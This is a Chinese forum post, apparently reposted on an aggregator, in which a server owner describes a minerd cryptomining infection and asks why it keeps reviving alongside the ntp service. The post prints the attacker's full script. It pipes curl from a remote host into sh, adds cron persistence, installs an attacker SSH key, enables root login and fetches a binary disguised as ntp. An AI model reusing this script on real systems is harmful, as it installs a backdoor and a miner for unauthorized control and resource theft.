服务器被攻击,minerd进程为什么和ntp扯上了
来源:互联网 发布:wear it out 编辑:程序博客网 时间:2024/05/06 16:57
昨天服务器被中了木马,发现crontab里被人加了一个
*/10 * * * * curl -fsSL https://r.chanstring.com/pm.sh?0706 | sh
打开这个脚本看了下:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL https://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL https://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; thenmkdir -p ~/.sshrm -f ~/.ssh/authorized_keys*echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiqecho "PermitRootLogin yes" >> /etc/ssh/sshd_configecho "RSAAuthentication yes" >> /etc/ssh/sshd_configecho "PubkeyAuthentication yes" >> /etc/ssh/sshd_configecho "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config/etc/init.d/sshd restartfiif [ ! -f "/etc/init.d/ntp" ]; thenif [ ! -f "/etc/systemd/system/ntp.service" ]; thenmkdir -p /optcurl -fsSL https://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Installfifi# service ntp start# systemctl restart ntp.service/etc/init.d/ntp start# rm -rf /etc/init.d/ntp# ps auxf|grep -v grep|grep "/usr/sbin/ntp -D"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
寻着里面的记录一一删除了公钥和cron任务,但是这个minerd还是一次次的死灰复燃。。。
会在/opt下面下载minerd文件,然后启动进程。
怎么杀怎么删都没用。
但是发现,只要停了ntp服务,这个进程也会被关闭而且不会重启。
只要启动ntp服务,没多久这个文件和进程都会复活。
我实在是搞不懂,怎么跟ntp搞起来的???
1 0
- 服务器被攻击,minerd进程为什么和ntp扯上了
- minerd和wnTKYg进程(病毒)--被攻击CPU占用率达到100%
- 服务器被挖矿minerd
- 服务器被挖矿minerd
- 基于 NTP 的反射和放大攻击
- 服务器被入侵(minerd挖矿程序)
- 时间服务器ntp和chrony
- 清除minerd进程的方法
- redis引起的minerd病毒攻击
- minerd
- ntp服务器
- NTP服务器
- ntp服务器
- NTP服务器
- ntp 服务器
- ntp服务器
- 浅谈基于 NTP 的反射和放大攻击
- ntp服务器restrict和server选项格式
- Java 基础之(七) 继承
- CSS 过滤器(filter)的种类及介绍
- 一些linux下面的生活向软件
- theano学习笔记(二) :基础
- python对文件进行增,删,改,查
- 服务器被攻击,minerd进程为什么和ntp扯上了
- HTMLCSS基础-样式
- js继承
- 插件式开发(三)----未安装---启动all,包括activity
- .net Model上下文类
- 2016码农谷全国大学生程序设计邀请赛(第一轮资格赛)
- Codeforces 405C Unusual Product
- [软件人生]大白话讲述了近两百年中美之间的历史关系及tpp是什么
- session和cookie的用法以及它们的区别